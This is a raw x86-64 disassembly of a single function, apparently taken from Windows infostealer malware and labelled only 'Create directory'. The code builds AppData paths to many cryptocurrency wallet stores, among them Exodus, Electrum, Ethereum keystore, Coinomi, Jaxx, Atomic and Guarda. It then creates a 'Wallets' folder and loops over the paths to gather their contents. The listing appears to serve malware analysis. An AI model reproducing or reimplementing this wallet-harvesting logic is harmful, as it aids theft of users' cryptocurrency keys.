Function at 0x14001a670
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x750
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rsp + 0x740], rax
lea rcx, str.wallets_n
call fcn.1400029d0
lea rcx, [rsp + 0x160]
call fcn.140057350
nop
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
mov rcx, qword [rsp + 0x170]
sub rax, rcx
cmp rax, 9
jb 0x14001c245
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 0x10
cmovae rax, qword [rsp + 0x160]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x160]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14002d660
nop
mov r8d, 0xe
lea rdx, str._AppData_Local
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x190], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14001a7a2
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a79d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c24b
call fcn.140080f50
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rax, rsi
mov rcx, qword [rsp + 0x170]
sub rax, rcx
cmp rax, 9
jb 0x14001c251
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 0x10
cmovae rax, qword [rsp + 0x160]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rsp + 0x160]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xb0]
call fcn.14002d660
nop
mov r8d, 0x10
lea rdx, str._AppData_Roaming
lea rcx, [rsp + 0xb0]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xc8]
cmp rdx, 0x10
jb 0x14001a89f
inc rdx
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a89a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c257
call fcn.140080f50
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 0xf
mov byte [rsp + 0xb0], 0
mov qword [rsp + 0x320], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x330], xmm0
mov byte [rsp + 0x320], 0
mov r8d, 6
lea rdx, str._Zcash
lea rcx, [rsp + 0x320]
call fcn.1400218a0
nop
mov qword [rsp + 0x340], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x350], xmm0
mov byte [rsp + 0x340], 0
mov r8d, 6
lea rdx, str._Zcash
lea rcx, [rsp + 0x340]
call fcn.1400218a0
nop
mov qword [rsp + 0x360], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x370], xmm0
mov byte [rsp + 0x360], 0
mov r8d, 6
lea rdx, str._Zcash
lea rcx, [rsp + 0x360]
call fcn.1400218a0
nop
mov qword [rsp + 0x380], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x390], xmm0
mov byte [rsp + 0x380], 0
mov r8d, 7
lea rdx, str._Armory
lea rcx, [rsp + 0x380]
call fcn.1400218a0
nop
mov qword [rsp + 0x3a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x3b0], xmm0
mov byte [rsp + 0x3a0], 0
mov r8d, 7
lea rdx, str._Armory
lea rcx, [rsp + 0x3a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x3c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x3d0], xmm0
mov byte [rsp + 0x3c0], 0
mov r8d, 7
lea rdx, str._Armory
lea rcx, [rsp + 0x3c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x3e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x3f0], xmm0
mov byte [rsp + 0x3e0], 0
mov r8d, 9
lea rdx, str._bytecoin
lea rcx, [rsp + 0x3e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x400], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x410], xmm0
mov byte [rsp + 0x400], 0
mov r8d, 9
lea rdx, str._bytecoin
lea rcx, [rsp + 0x400]
call fcn.1400218a0
nop
mov qword [rsp + 0x420], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x430], xmm0
mov byte [rsp + 0x420], 0
mov r8d, 9
lea rdx, str._bytecoin
lea rcx, [rsp + 0x420]
call fcn.1400218a0
nop
mov qword [rsp + 0x440], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x450], xmm0
mov byte [rsp + 0x440], 0
mov r8d, 7
lea rdx, str._Exodus
lea rcx, [rsp + 0x440]
call fcn.1400218a0
nop
mov qword [rsp + 0x460], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x470], xmm0
mov byte [rsp + 0x460], 0
mov r8d, 0x15
lea rdx, str._Exodus_exodus.wallet
lea rcx, [rsp + 0x460]
call fcn.1400218a0
nop
mov qword [rsp + 0x480], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x490], xmm0
mov byte [rsp + 0x480], 0
mov r8d, 0x15
lea rdx, str._Exodus_exodus.wallet
lea rcx, [rsp + 0x480]
call fcn.1400218a0
nop
mov qword [rsp + 0x4a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x4b0], xmm0
mov byte [rsp + 0x4a0], 0
mov r8d, 9
lea rdx, str._Ethereum
lea rcx, [rsp + 0x4a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x4c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x4d0], xmm0
mov byte [rsp + 0x4c0], 0
mov r8d, 0x12
lea rdx, str._Ethereum_keystore
lea rcx, [rsp + 0x4c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x4e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x4f0], xmm0
mov byte [rsp + 0x4e0], 0
mov r8d, 0x12
lea rdx, str._Ethereum_keystore
lea rcx, [rsp + 0x4e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x500], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x510], xmm0
mov byte [rsp + 0x500], 0
mov r8d, 9
lea rdx, str._Electrum
lea rcx, [rsp + 0x500]
call fcn.1400218a0
nop
mov qword [rsp + 0x520], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x530], xmm0
mov byte [rsp + 0x520], 0
mov r8d, 0x11
lea rdx, str._Electrum_wallets
lea rcx, [rsp + 0x520]
call fcn.1400218a0
nop
mov qword [rsp + 0x540], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x550], xmm0
mov byte [rsp + 0x540], 0
mov r8d, 0x11
lea rdx, str._Electrum_wallets
lea rcx, [rsp + 0x540]
call fcn.1400218a0
nop
mov qword [rsp + 0x560], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x570], xmm0
mov byte [rsp + 0x560], 0
mov r8d, 8
lea rdx, str._Coinomi
lea rcx, [rsp + 0x560]
call fcn.1400218a0
nop
mov qword [rsp + 0x580], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x590], xmm0
mov byte [rsp + 0x580], 0
mov r8d, 0x10
lea rdx, str._Coinomi_Coinomi
lea rcx, [rsp + 0x580]
call fcn.1400218a0
nop
mov qword [rsp + 0x5a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x5b0], xmm0
mov byte [rsp + 0x5a0], 0
mov r8d, 0x18
lea rdx, str._Coinomi_Coinomi_wallets
lea rcx, [rsp + 0x5a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x5c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x5d0], xmm0
mov byte [rsp + 0x5c0], 0
mov r8d, 0xe
lea rdx, str._FeatherWallet
lea rcx, [rsp + 0x5c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x5e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x5f0], xmm0
mov byte [rsp + 0x5e0], 0
mov r8d, 0xe
lea rdx, str._FeatherWallet
lea rcx, [rsp + 0x5e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x600], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x610], xmm0
mov byte [rsp + 0x600], 0
mov r8d, 0xe
lea rdx, str._FeatherWallet
lea rcx, [rsp + 0x600]
call fcn.1400218a0
nop
mov qword [rsp + 0x620], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x630], xmm0
mov byte [rsp + 0x620], 0
mov r8d, 0x11
lea rdx, str._com.liberty.jaxx
lea rcx, [rsp + 0x620]
call fcn.1400218a0
nop
mov qword [rsp + 0x640], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x650], xmm0
mov byte [rsp + 0x640], 0
mov r8d, 0x1b
lea rdx, str._com.liberty.jaxx_IndexedDB
lea rcx, [rsp + 0x640]
call fcn.1400218a0
nop
mov qword [rsp + 0x660], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x670], xmm0
mov byte [rsp + 0x660], 0
mov r8d, 0x1b
lea rdx, str._com.liberty.jaxx_IndexedDB
lea rcx, [rsp + 0x660]
call fcn.1400218a0
nop
mov qword [rsp + 0x680], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x690], xmm0
mov byte [rsp + 0x680], 0
mov r8d, 7
lea rdx, str._atomic
lea rcx, [rsp + 0x680]
call fcn.1400218a0
nop
mov qword [rsp + 0x6a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x6b0], xmm0
mov byte [rsp + 0x6a0], 0
mov r8d, 0x15
lea rdx, str._atomic_Local_Storage
lea rcx, [rsp + 0x6a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x6c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x6d0], xmm0
mov byte [rsp + 0x6c0], 0
mov r8d, 0x15
lea rdx, str._atomic_Local_Storage
lea rcx, [rsp + 0x6c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x6e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x6f0], xmm0
mov byte [rsp + 0x6e0], 0
mov r8d, 7
lea rdx, str._Guarda
lea rcx, [rsp + 0x6e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x700], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x710], xmm0
mov byte [rsp + 0x700], 0
mov r8d, 0x15
lea rdx, str._Guarda_Local_Storage
lea rcx, [rsp + 0x700]
call fcn.1400218a0
nop
mov qword [rsp + 0x720], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x730], xmm0
mov byte [rsp + 0x720], 0
mov r8d, 0x15
lea rdx, str._Guarda_Local_Storage
lea rcx, [rsp + 0x720]
call fcn.1400218a0
nop
mov qword [rsp + 0x220], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x230], xmm0
mov byte [rsp + 0x220], 0
mov r8d, 6
lea rdx, str._Zcash
lea rcx, [rsp + 0x220]
call fcn.1400218a0
nop
mov qword [rsp + 0x240], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x250], xmm0
mov byte [rsp + 0x240], 0
mov r8d, 7
lea rdx, str._Armory
lea rcx, [rsp + 0x240]
call fcn.1400218a0
nop
mov qword [rsp + 0x260], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x270], xmm0
mov byte [rsp + 0x260], 0
mov r8d, 9
lea rdx, str._bytecoin
lea rcx, [rsp + 0x260]
call fcn.1400218a0
nop
mov qword [rsp + 0x280], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x290], xmm0
mov byte [rsp + 0x280], 0
mov r8d, 0x15
lea rdx, str._Exodus_exodus.wallet
lea rcx, [rsp + 0x280]
call fcn.1400218a0
nop
mov qword [rsp + 0x2a0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x2b0], xmm0
mov byte [rsp + 0x2a0], 0
mov r8d, 0x12
lea rdx, str._Ethereum_keystore
lea rcx, [rsp + 0x2a0]
call fcn.1400218a0
nop
mov qword [rsp + 0x2c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x2d0], xmm0
mov byte [rsp + 0x2c0], 0
mov r8d, 0x11
lea rdx, str._Electrum_wallets
lea rcx, [rsp + 0x2c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x2e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x2f0], xmm0
mov byte [rsp + 0x2e0], 0
mov r8d, 0x18
lea rdx, str._Coinomi_Coinomi_wallets
lea rcx, [rsp + 0x2e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x300], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x310], xmm0
mov byte [rsp + 0x300], 0
mov r8d, 0xe
lea rdx, str._FeatherWallet
lea rcx, [rsp + 0x300]
call fcn.1400218a0
nop
mov qword [rsp + 0x1c0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1d0], xmm0
mov byte [rsp + 0x1c0], 0
mov r8d, 0x35
lea rdx, str._com.liberty.jaxx_IndexedDB_file__0.indexeddb.leveldb
lea rcx, [rsp + 0x1c0]
call fcn.1400218a0
nop
mov qword [rsp + 0x1e0], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
mov r8d, 0x1d
lea rdx, str._atomic_Local_Storage_leveldb
lea rcx, [rsp + 0x1e0]
call fcn.1400218a0
nop
mov qword [rsp + 0x200], rbx
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rsp + 0x210], xmm0
mov byte [rsp + 0x200], 0
mov r8d, 0x1d
lea rdx, str._Guarda_Local_Storage_leveldb
lea rcx, [rsp + 0x200]
call fcn.1400218a0
nop
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 0xf
mov byte [rsp + 0x140], 0
lea rcx, [rsp + 0x68]
cmp byte [0x1400e8e20], 0
je 0x14001b3dd
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm1
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14001b507
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c25d
jmp 0x14001b502
call fcn.140057350
nop
mov r9d, 9
lea r8, str.C:_Users_
xor edx, edx
mov rcx, rax
call fcn.14002d980
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm1
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14001b4b4
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b4af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c263
call fcn.140080f50
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14001b507
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c269
call fcn.140080f50
mov rax, rsi
mov rcx, qword [rsp + 0x150]
sub rax, rcx
cmp rax, 8
jb 0x14001c26f
lea r9, [rsp + 0x140]
cmp qword [rsp + 0x158], 0x10
cmovae r9, qword [rsp + 0x140]
mov qword [rsp + 0x30], 8
lea rax, str._Wallets
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x140]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x1a0]
call fcn.14002d660
nop
lea rcx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae rcx, qword [rsp + 0x1a0]
call fcn.14009939c
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 0xf
mov byte [rsp + 0x100], 0
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rsp + 0x100]
call fcn.1400218a0
nop
mov r14, rbx
mov qword [rsp + 0xa8], r14
cmp r14, 8
jae 0x14001bc81
mov rax, r14
shl rax, 5
lea rdi, [rsp + 0x220]
add rdi, rax
mov rcx, qword [rdi + 0x10]
mov rax, rsi
mov rdx, qword [rsp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x14001c275
lea r9, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae r9, qword [rsp + 0x120]
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14001b632
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x120]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x88]
call fcn.14002d660
nop
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x48]
call fcn.14002f5c0
nop
lea rcx, [rsp + 0x48]
call fcn.1400044e0
movzx r15d, al
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14001b6bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b6ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c27b
call fcn.140080f50
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14001b715
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c281
call fcn.140080f50
test r15b, r15b
je 0x14001bc79
lea r15, [r14 + r14*2]
shl r15, 5
lea rcx, [rsp + 0x320]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c287
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001b770
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001b7d9
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b7d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c296
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x110], xmm1
lea rcx, [rsp + 0x100]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.14009939c
lea rcx, [rsp + 0x340]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c28c
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001b861
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001b8ca
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b8c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c296
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x110], xmm1
lea rcx, [rsp + 0x100]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.14009939c
lea rcx, [rsp + 0x360]
add rcx, r15
mov rdx, qword [rcx + 0x10]
mov rax, rsi
mov r8, qword [rsp + 0x1b0]
sub rax, r8
cmp rax, rdx
jb 0x14001c291
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
cmp qword [rcx + 0x18], 0x10
jb 0x14001b952
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x14001b9bb
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b9b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c296
call fcn.140080f50
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x110], xmm1
lea rcx, [rsp + 0x100]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call fcn.14009939c
mov rcx, qword [rdi + 0x10]
mov rax, rsi
mov rdx, qword [rsp + 0x1b0]
sub rax, rdx
cmp rax, rcx
jb 0x14001c29c
lea r9, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae r9, qword [rsp + 0x1a0]
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14001ba3b
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x1a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x88]
call fcn.14002f5c0
nop
mov rcx, qword [rdi + 0x10]
mov rax, rsi
mov rdx, qword [rsp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x14001c2a2
lea r9, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae r9, qword [rsp + 0x120]
cmp qword [rdi + 0x18], 0x10
jb 0x14001bab4
mov rdi, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x120]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0xd0]
call fcn.14002d660
nop
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x48]
call fcn.14002f5c0
nop
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x48]
call fcn.1400578a0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14001bb46
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bb41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2a8
call fcn.140080f50
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], bx
mov rdx, qword [rsp + 0xe8]
cmp rdx, 0x10
jb 0x14001bb9c
inc rdx
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bb97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2ae
call fcn.140080f50
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 0xf
mov byte [rsp + 0xd0], 0
mov rdx, qword [rsp + 0xa0]
cmp rdx, 8
jb 0x14001bc00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bbfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2b4
call fcn.140080f50
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xa0], 7
mov word [rsp + 0x88], bx
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x14001bc5d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bc57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c2ba
call fcn.140080f50
nop
inc r14
jmp 0x14001b5cc
inc r14
jmp 0x14001b5cc
mov rdi, rbx
mov qword [rsp + 0xa8], rdi
cmp rdi, 3
jae 0x14001c15a
mov rax, rdi
shl rax, 5
lea r14, [rsp + 0x1c0]
add r14, rax
mov rcx, qword [r14 + 0x10]
mov rax, rsi
mov rdx, qword [rsp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x14001c2c0
lea r9, [rsp + 0x120]
cmp qword [rsp + 0x138], 0x10
cmovae r9, qword [rsp + 0x120]
mov rax, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14001bcea
mov rax, qword [r14]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x120]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.14002d660
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x88]
call fcn.14002f5c0
nop
